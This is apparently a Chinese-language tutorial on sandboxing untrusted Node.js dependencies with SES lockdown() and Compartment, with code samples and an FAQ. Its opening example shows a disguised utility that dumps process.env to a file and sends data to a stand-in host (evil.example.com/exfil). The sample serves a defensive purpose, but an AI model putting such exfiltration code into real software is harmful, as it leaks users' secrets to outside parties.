一个被攻破的传递依赖就能外泄你的 process.env、写入你的文件系统、打开出站连接。它不需要你的代码存在漏洞。它只需要存在于同一个进程里。在JavaScript中,每个模块默认继承运行时的全部权限。这就是Ambient Authority,而移除它是你能对Node.js应用做的最有效的安全升级之一。

JavaScript中的Ambient Authority长什么样

Ambient Authority意味着访问权限不绑定于“你被给予了什么”,而是绑定于“你在哪里运行”。Node.js进程内的任何代码都可以在不请求许可的情况下伸手去碰 fshttpchild_processprocess.env。运行时把这些全局对象提供给每一个模块,无论是否可信。

// This module has no business touching the filesystem.
// But it can. Because it is in the same process.
import fs from 'node:fs';
import https from 'node:https';

function innocentUtility(data) {
  fs.writeFileSync('/tmp/stolen.json', JSON.stringify(process.env));
  https.get('https://evil.example.com/exfil?data=' + encodeURIComponent(data));
  return data.toUpperCase();
}

innocentUtility 函数被引入进来是为了把字符串转成大写。因为它跑在Node.js进程里面,所以它也拥有读取环境变量和对外通信的能力。没有沙箱。没有权限模型。这段代码之所以默认拥有这些权力,仅仅因为运行时把它们放在了触手可及的地方。

这不是假设。npm上的供应链攻击经常利用的正是这一特性。恶意或被攻破的依赖不需要零日漏洞。它只需要被 require 进来。

Lockdown:第一刀

Agoric维护的SES(Secure ECMAScript)shim提供了一个 lockdown() 函数,用于加固JavaScript运行环境。它会冻结所有内置原型、移除 evalFunction 构造器等危险全局对象,并防止原型污染。lockdown之后,你自己的代码无法再意外或恶意地篡改 Array.prototypeObject.prototype

import 'ses';

lockdown();

// This now throws. The Function constructor is gone.
const fn = new Function('return process.env');

// This also throws. Prototypes are frozen.
Array.prototype.evil = () => {};

lockdown很强大,但光靠它还不够。它能防止共享环境被篡改,却没能移除Ambient Authority。一个经过lockdown的模块仍然可以执行 import fs from 'node:fs' 来读取你的磁盘。lockdown保护的是语言。它不保护宿主。

Compartment:剥光宿主

Compartment 是一个拥有独立全局作用域的全新JavaScript执行环境。与 vm 上下文或Web Worker不同,compartment共享同一个事件循环和内存堆,但它一开始什么都没有。没有 console,没有 fetch,没有 process。你必须显式赋予它每一项被允许使用的capability。

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

const compartment = new Compartment({
  // Only these globals exist inside the compartment.
  console,
  Math,
  JSON,
});

// This code runs inside the compartment with no ambient authority.
const result = compartment.evaluate(`
  // This throws: fetch is not defined.
  // fetch('https://evil.example.com');

  // This works: Math was endowed.
  Math.sqrt(16)
`);

console.log(result); // 4

这个compartment碰不到文件系统、网络和 process.env,因为这些capability从未被传入。即使compartment内部的代码被攻破,爆炸半径也被限制在你所赋予的范围内。

安全加载不可信模块

真正的供应链防御意味着把第三方代码加载进compartment,并且只给它真正需要的权限。以下是一个适用于CommonJS或ESM bundle的模式。

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

// A constrained filesystem capability.
function createScopedReader(baseDir) {
  return {
    readFile(filename) {
      const path = require('node:path').join(baseDir, filename);
      // In production, validate the resolved path is inside baseDir.
      return readFileSync(path, 'utf-8');
    }
  };
}

const untrustedCode = readFileSync('./vendor/some-plugin.js', 'utf-8');

const compartment = new Compartment({
  console: {
    log: (...args) => console.log('[plugin]', ...args)
  },
  fs: createScopedReader('./data/readonly/'),
});

// The plugin can only read files under ./data/readonly/
// and write to a prefixed console. Nothing else.
compartment.evaluate(untrustedCode);

供应商代码活在同一个进程里,但它在capability边界内运作。它打不开套接字。它读不了你仓库里的 package.json。它只能读取你显式划定范围的文件,只能通过你提供的包装器输出日志。

这不是理论上的加固。Agoric区块链将这个模型用于其智能合约平台。每一个智能合约都在经过lockdown的compartment内执行,带着显式赋予的capability。

你会遇到的权衡

compartment不是免费的。SES shim会给原型打补丁、重写一些内置行为,这会带来一点初始化开销。更重要的是,大量npm包都默认依赖Ambient Authority。它们不导入就直接去抓 processBuffersetImmediate。这些全局对象一旦缺失,代码就会崩溃。

你有三个选择。第一,在compartment内用安全实现来polyfill缺失的全局对象。第二,赋予真正的全局对象并承担风险。第三,审计依赖并修正它的假设。

多数时候,依赖只是需要 BuffersetTimeout。这些可以放心赋予。危险的是 fsnetchild_processprocess.env。这些永远不应该进入compartment,除非内部代码真的需要它们,即便如此你也应该包装它们。

调试也会变得更困难。compartment内部的堆栈跟踪指向的是被求值的字符串或虚拟化源码。现代Node.js的source map支持能帮上忙,但出问题的时候你仍然要花时间去映射行号。

哪里会失效

原生插件和WASM模块会完全绕过JavaScript运行时。用 require 加载的 .node 文件在SES compartment外部运行,保留着完整的Ambient Authority。如果你需要对原生代码做沙箱化,compartment不是答案。你需要操作系统级别的隔离:seccomp、Landlock,或者单独的进程。

compartment还共享同一个堆和事件循环。一个compartment仍然可以用无限循环饿死CPU,或者不断分配内存直到进程崩溃。SES提供了 compute 计量器来限制执行,但默认compartment不强制资源限制。它是安全边界,不是资源边界。

实用的起点

你不需要重写整个应用。从风险最高的依赖开始:任何解析不可信输入的东西、任何动态加载的东西、任何你不认识的发布者的东西。

import 'ses';

lockdown();

function runUntrusted(pluginCode, userData) {
  const compartment = new Compartment({
    JSON,
    Array,
    Object,
    // No fetch, no fs, no process.
  });

  // The plugin receives data and returns a result.
  // It cannot phone home. It cannot read files.
  return compartment.evaluate(`
    (${pluginCode})(${JSON.stringify(userData)})
  `);
}

把你的插件系统、模板引擎、用户提供的脚本都包起来。给每一个一个只带最小必要权限的compartment。如果某个依赖在compartment里跑不起来,那是一个信号。它是按照“我拥有整个进程”的假设写出来的。你要移除的,正是这种假设。

常见问题

Compartment和Node的 vm 模块有什么区别?

vm 会创建一个带有新全局对象的上下文,但除非你显式移除,它仍然可以访问完整的Node.js API。compartment从空开始,需要显式的endowment。它还与SES lockdown集成,防止整个运行时的原型被篡改。

这能和TypeScript或打包工具一起用吗?

可以。compartment执行的是JavaScript,所以你要先把TypeScript编译掉。Rollup或esbuild等打包工具可以把依赖打成一个文件,再加载进compartment。打包工具会去掉动态导入,这反而让compartment沙箱化更容易。

赋予的capability能撤销吗?

不能直接撤销。传入compartment的capability是对JavaScript对象的引用。如果你需要撤销机制,把capability包进一个代理或带令牌检查的包装器里,在每次访问时检查一个标志。这是所有capability系统都面临的同一个撤销问题。

SES已经能在生产环境使用了吗?

SES自2021年起就在Agoric区块链的生产环境中运行。npm上的 ses 包在积极维护。它已经通过TC39的JavaScript标准化提案流程,但尚未成为语言规范的一部分。

这会取代容器化吗?

不会。compartment是进程级别的安全边界。容器是操作系统级别的边界。用compartment限制进程内部代码能做什么。用容器限制进程本身能做什么。两者是叠加强化的关系。

Ambient Authority之所以是JavaScript的默认,是因为它方便。方便和安全不是一回事。lockdown和compartment让你剥除每个模块默认继承的环境权力,用显式的、有范围的、可审计的capability取而代之。从一个不可信的依赖开始。把它放进compartment。拿走它的 fsfetch。看看什么真正会坏。多数时候,坏掉的东西是你的依赖本来就没有资格做出的假设。